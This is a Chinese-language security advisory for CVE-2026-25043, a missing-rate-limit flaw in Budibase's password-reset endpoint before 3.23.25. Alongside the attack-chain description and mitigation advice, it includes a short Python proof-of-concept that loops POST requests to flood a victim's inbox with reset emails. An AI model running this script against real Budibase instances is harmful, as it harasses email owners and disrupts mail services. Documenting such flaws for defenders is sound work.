IPBUF安全漏洞报告
English
CVE-2026-25043 CVSS 5.3 中危

CVE-2026-25043 Budibase密码重置逻辑漏洞

披露日期: 2026-04-03

漏洞信息

漏洞编号
CVE-2026-25043
漏洞类型
业务逻辑漏洞
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Budibase

相关标签

业务逻辑漏洞拒绝服务邮件轰炸Budibase未授权访问

漏洞概述

Budibase开源低代码平台在3.23.25版本之前的密码重置功能存在业务逻辑漏洞。由于缺乏速率限制和验证码,攻击者可无限制发送重置邮件,导致目标邮箱被轰炸及服务拒绝,影响用户体验和平台声誉。

技术细节

该漏洞源于Budibase“忘记密码”端点未实施有效的防滥用机制(如速率限制或CAPTCHA)。攻击者无需任何身份认证,即可向该API端点发送包含受害者邮箱的POST请求。由于服务端未对同一IP或同一邮箱的请求频率进行校验,攻击者可利用自动化脚本在短时间内发送成百上千次请求。这不仅会消耗系统资源和邮件服务带宽,导致受害者收件箱被垃圾邮件淹没(DoS),还可能导致邮件发送服务被信誉机构拉黑,造成严重的业务中断和声誉损失。

攻击链分析

STEP 1
侦察
攻击者确认目标系统为Budibase平台,并获取目标用户的电子邮箱地址。
STEP 2
漏洞利用
攻击者向“忘记密码”API端点发送POST请求,触发发送密码重置邮件。
STEP 3
自动化攻击
由于没有速率限制,攻击者使用脚本循环发送大量重置请求。
STEP 4
达成效果
目标用户收到大量垃圾邮件,导致邮箱服务不可用(DoS),且可能造成邮件服务器资源耗尽。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://vulnerable-budibase-instance.com/api/global/auth/password/reset/request" victim_email = "[email protected]" headers = { "Content-Type": "application/json", "User-Agent": "PoC-Scanner/1.0" } # Payload for the password reset request payload = { "email": victim_email } # Attacker loop to flood emails print(f"Starting email flood attack against {victim_email}...") try: for i in range(100): response = requests.post(target_url, json=payload, headers=headers, timeout=5) if response.status_code == 200: print(f"[+] Request {i+1}: Reset email sent successfully.") else: print(f"[-] Request {i+1}: Failed with status code {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error occurred: {e}")

影响范围

Budibase < 3.23.25

防御指南

临时缓解措施
若无法立即升级,建议在反向代理(如Nginx)或WAF层面对密码重置API接口配置访问频率限制规则,例如限制单个IP每分钟仅能请求一次,或暂时禁用该功能直至修复完成。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表